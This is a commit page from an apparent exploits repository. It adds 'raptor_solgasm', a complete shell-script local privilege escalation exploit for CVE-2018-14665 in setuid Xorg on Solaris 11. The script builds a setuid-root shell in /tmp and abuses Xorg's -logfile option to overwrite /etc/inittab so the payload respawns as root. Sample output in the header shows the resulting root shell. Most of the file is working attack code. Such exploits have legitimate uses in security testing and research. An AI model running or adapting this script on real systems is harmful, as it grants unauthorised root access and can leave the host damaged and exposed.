Projects STRLCPY 0xdea-exploits Commits f3cb772f
🤬
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_solgasm
     1 +#!/bin/sh
     2 + 
     3 +#
     4 +# raptor_solgasm - xorg-x11-server LPE via Solaris inittab
     5 +# Copyright (c) 2018 Marco Ivaldi <[email protected]>
     6 +#
     7 +# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission
     8 +# check for -modulepath and -logfile options when starting Xorg. X server
     9 +# allows unprivileged users with the ability to log in to the system via
     10 +# physical console to escalate their privileges and run arbitrary code under
     11 +# root privileges (CVE-2018-14665).
     12 +#
     13 +# "In video games, this is what they call respawning" -- Nick Sax
     14 +#
     15 +# This exploit targets /etc/inittab in order to escalate privileges to root
     16 +# on Solaris 11 (no need to be connected to a physical console). Messing with
     17 +# inittab is considerably dangerous and you may trash your system, however the
     18 +# other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't
     19 +# work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING!
     20 +#
     21 +# See also:
     22 +# https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm
     23 +#
     24 +# Usage:
     25 +# raptor@stalker:~$ chmod +x raptor_solgasm
     26 +# raptor@stalker:~$ ./raptor_solgasm
     27 +# [...]
     28 +# Now please be patient for a few minutes...
     29 +# [...]
     30 +# To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab
     31 +# -rw-r--r-- 1 root staff 13870 nov 24 22:01 /etc/inittab
     32 +# -rw-r--r-- 1 root sys 967 nov 24 20:01 /etc/inittab.old
     33 +# -rwsrwxrwx 1 root root 1249080 nov 24 22:05 /tmp/pwned
     34 +# root@stalker:/etc# id
     35 +# uid=0(root) gid=0(root)
     36 +#
     37 +# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
     38 +# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
     39 +# Oracle Solaris 11 SPARC [untested]
     40 +#
     41 + 
     42 +echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab"
     43 +echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>"
     44 + 
     45 +# prepare the payload
     46 +cat << EOF > /tmp/solgasm
     47 +cp /bin/zsh /tmp/pwned # fallback in case gcc is not available
     48 +echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c
     49 +gcc /tmp/pwned.c -o /tmp/pwned
     50 +chmod 4777 /tmp/pwned
     51 +EOF
     52 +chmod +x /tmp/solgasm
     53 + 
     54 +# trigger the bug
     55 +PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1)
     56 +cd /etc
     57 +Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 &
     58 +sleep 5
     59 +pkill Xorg
     60 + 
     61 +# run the setuid shell
     62 +echo
     63 +echo "Now please be patient for a few minutes..."
     64 +echo
     65 +until [ -u /tmp/pwned ]; do sleep 1; done
     66 +echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab"
     67 +ls -l /etc/inittab*
     68 +ls -l /tmp/pwned
     69 +sleep 1
     70 +/tmp/pwned
     71 + 
Please wait...
Page is in error, reload to recover